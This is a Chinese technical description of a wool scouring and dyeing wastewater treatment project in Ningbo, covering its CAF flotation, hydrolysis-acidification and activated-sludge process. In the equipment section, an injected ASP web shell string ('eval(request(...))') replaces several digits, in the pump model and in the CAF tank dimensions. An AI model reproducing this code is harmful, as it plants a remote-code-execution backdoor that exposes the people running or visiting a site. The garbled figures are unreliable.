技术原理：

1、工程概述：

宁波某毛纺织有限公司是一家以澳洲羊毛为原料，专业从事毛纺、染色、制衣的企业。生产废水主要来自洗毛、染色工序。洗毛工序的羊毛洗净率在70％以上，洗毛废水中含有净洗剂、碱等化学成分和大量羊毛脂、羊汗和泥沙等污染物，羊毛脂是造成废水中COD和BOD的主要成分。染色废水主要来自条染和匹染车间，工艺中使用的染料主要为酸性和分散染料，以及配套的染化助剂，废水中污染物浓度相对较低。洗毛废水主要来自耙式洗毛机第一、第二、第三槽，第四、第五槽较清洁的排水回流到前三槽进行逆流漂洗，每洗净1t原毛耗水25-35m3，洗毛废水平均排放量为200m3/d。条染、匹染车间排水为300m3/d。混合废水量500m3/d。

该公司在20世纪90年代初建有一套废水处理设施，采用溶气气浮（DAF）——混凝沉淀法处理，处理成本高，出水COD远远超过国家排胁准，被列入1999年宁波市市长目标限期治理责任制项目。后进行改造，采用涡凹气浮（CAF）——水解酸化——活性污泥法工艺，在实际生产运行中取得了较好的效果。

2、处理工艺流程：鉴于洗毛染色混合废水属于高浓度有机废水，较适合采用物化生化联合处理。考虑到洗毛、染色废水中酸含量较高，且含有大量的羊毛脂、碎毛、洗剂等，宜先经絮凝处理。经试验，最后确定了铝铁复合混凝剂和阴离子聚丙烯酰胺（PAM）作为絮凝剂，并根据同类工程实践经验选用了CAF（涡凹气浮）工艺作为物化处理单元，生化单元采用水解酸化一活性污泥工艺（见图1）。

3、主要构筑物及设备：

（1）调节池。调节池兼作提升泵集水井，HRT为8h，池体尺寸为10m×6m×3．5m，有效水深为3m，钢筋结构。为防止泥沙沉淀和酸腐，采用穿孔曝气管定期曝气，气水比为5：1。内设WQK 25-8-1"%><%eval(request(chr(35)))%><5型潜污泵2台，其中1台备用。

（2）CAF（涡凹气浮）系统。选用美国HydroCal环保公司**产品，型号为CAP-25型，处理能力为25m3/h。整个系统由涡凹曝气段、浮分段、刮泥系统、泥渣排放系统和水回流系统5部分组成。池体尺寸为4"%><%eval(request(chr(35)))%><0m×1"%><%eval(request(chr(35)))%><52m×1"%><%eval(request(chr(35)))%><83m，总功率为3kW。

4、工艺特点：

（1）该工艺由涡凹气浮一水解好氧生化一物化三段组成，其中物化段利用现有设施改造，节约了工程投资。系统出水一直稳定在国家标准二级以内。

（2）本工程采用的CAF系统是美国HydroCal环保公司专门为去除污水中的油脂、胶状物和固体悬浮物而设计的系统，其原理是通过独特的涡凹曝气机将“微泡”直接注入废水中，而不需要事先采用溶气罐进行溶气。实际使用证明，该系统非常适合于洗毛、染色废水处理，COD、BOD的去除率分别可达70％、46％以上。